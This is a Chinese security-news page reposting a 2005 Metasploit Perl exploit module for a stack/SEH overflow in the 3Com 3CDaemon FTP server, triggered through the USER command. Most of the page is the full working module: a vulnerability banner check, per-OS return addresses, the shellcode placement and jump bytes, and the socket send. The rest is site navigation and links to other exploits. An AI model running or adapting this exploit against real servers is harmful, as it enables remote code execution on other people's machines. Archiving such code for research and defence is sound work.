首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
3Com 3CDaemon FTP Server Overflow
来源:hdm@metasploit.com 作者:H D Moore 发布时间:2005-02-24  

Name: 3Com 3CDaemon FTP Server Overflow
Version: 1.1
Targeting: win32, win2000, winxp / x86
Privileges: No
Author: H D Moore <hdm [at] metasploit.com>
Targets:
0 - Windows 2000 English
1 - Windows XP English SP0/SP1
2 - Windows NT 4.0 SP4/SP5/SP6

Options:
RHOST - The target address
RPORT - The target port

Payload Info:
Room for 224 bytes of payload
Restricted bytes: 0x00 0x0a 0x20 0x0d

Description: This module exploits a vulnerability in the 3Com 3CDaemon FTP service. This package is being distributed from the 3Com web site and is recommended in numerous support documents. This module uses the USER command to trigger the overflow.
References:
http://www.securityfocus.com/bid/12155
ftp://ftp.3com.com/pub/utilbin/win32/3cdv2r10.zip

exploits:

##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::3com_3cdaemon_ftp_overflow;
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };

my $info =
{
'Name' => '3Com 3CDaemon FTP Server Overflow',
'Version' => '$Revision: 1.1 $',
'Authors' => [ 'H D Moore <hdm [at] metasploit.com>' ],
'Arch' => [ 'x86' ],
'OS' => [ 'win32', 'win2000', 'winxp' ],
'Priv' => 0,

'AutoOpts' => { 'EXITFUNC' => 'process' },

'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 21],
},

'Payload' =>
{
'Space' => 224,
'BadChars' => "\x00\x0a\x20\x0d",
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff", # add esp, -3500
'Keys' => ['+ws2ord'],
},

'Description' => Pex::Text::Freeform(qq{
This module exploits a vulnerability in the 3Com 3CDaemon
FTP service. This package is being distributed from the 3Com
web site and is recommended in numerous support documents. This
module uses the USER command to trigger the overflow.
}),

'Refs' =>
[
['BID', '12155'],
['URL', 'ftp://ftp.3com.com/pub/utilbin/win32/3cdv2r10.zip'],
],

# This application loads no non-system DLLs, the ImageBase starts with
# a null byte, and the overflow requires a \r\n to trigger the bug :-(
'Targets' =>
[
['Windows 2000 English', 0x75022ac4 ], # ws2help.dll
['Windows XP English SP0/SP1', 0x71aa32ad ], # ws2help.dll
['Windows NT 4.0 SP4/SP5/SP6', 0x77681799 ], # ws2help.dll
# Windows 2003 and Windows XP SP2 break SEH returns to system modules...
],

'Keys' => ['ftp'],
};

sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}

sub Check {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');

my $s = Msf::Socket::Tcp->new(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
'LocalPort' => $self->GetVar('CPORT'),
'SSL' => $self->GetVar('SSL'),
);

if ( $s->IsError ) {
$self->PrintLine( '[*] Error creating socket: ' . $s->GetError );
return $self->CheckCode('Connect');
}

my $banner = $s->Recv(-1, 5);
$banner =~ s/\r|\n//g;

$s->Close;

if ($banner =~ /3Com 3CDaemon FTP Server Version 2\.0/) {
$self->PrintLine("[*] Vulnerable FTP server: $banner");
return $self->CheckCode('Detected');
}

$self->PrintLine("[*] Unknown FTP server: $banner");
return $self->CheckCode('Safe');
}

sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_idx = $self->GetVar('TARGET');
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
my $target = $self->Targets->[$target_idx];

$self->PrintLine( "[*] Attempting to exploit " . $target->[0] );

my $s = Msf::Socket::Tcp->new(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
'LocalPort' => $self->GetVar('CPORT'),
'SSL' => $self->GetVar('SSL'),
);

if ( $s->IsError ) {
$self->PrintLine( '[*] Error creating socket: ' . $s->GetError );
return;
}

# Overwrite the SEH frame and throw an exception
my $user = Pex::Text::EnglishText(2048);

# The actual shellcode (small size, but we can use ws2ord)
substr($user, 0, length($shellcode), $shellcode);

# Jump to the beginning of the shellcode
substr($user, 224, 5, "\xe9\x1b\xff\xff\xff");

# Jump to a bigger jump above us
substr($user, 229, 2, "\xeb\xf9");

# Return to a pop/pop/ret in the executable
substr($user, 233, 4, pack('V', $target->[1]));

$s->Send("USER $user\r\n\r\n");
$s->Recv(-1, 5);

return;
}

1;




 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·PeerFTP v5 Local Passwords Dis
·Metasploit Framework Credits
·SendLink v1.5 Local Passwords
·AppleFileServer LoginExt PathN
·WWW File Share Pro Local Passw
·AOL Instant Messenger goaway O
·eXeem Local Passwords Disclosu
·Apache Win32 Chunked Encoding
·Chat Anywhere Local Passwords
·WebConnect Directory Traversal
·Arkeia Network Backup Client A
·Avaya IP Office Phone Manager
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved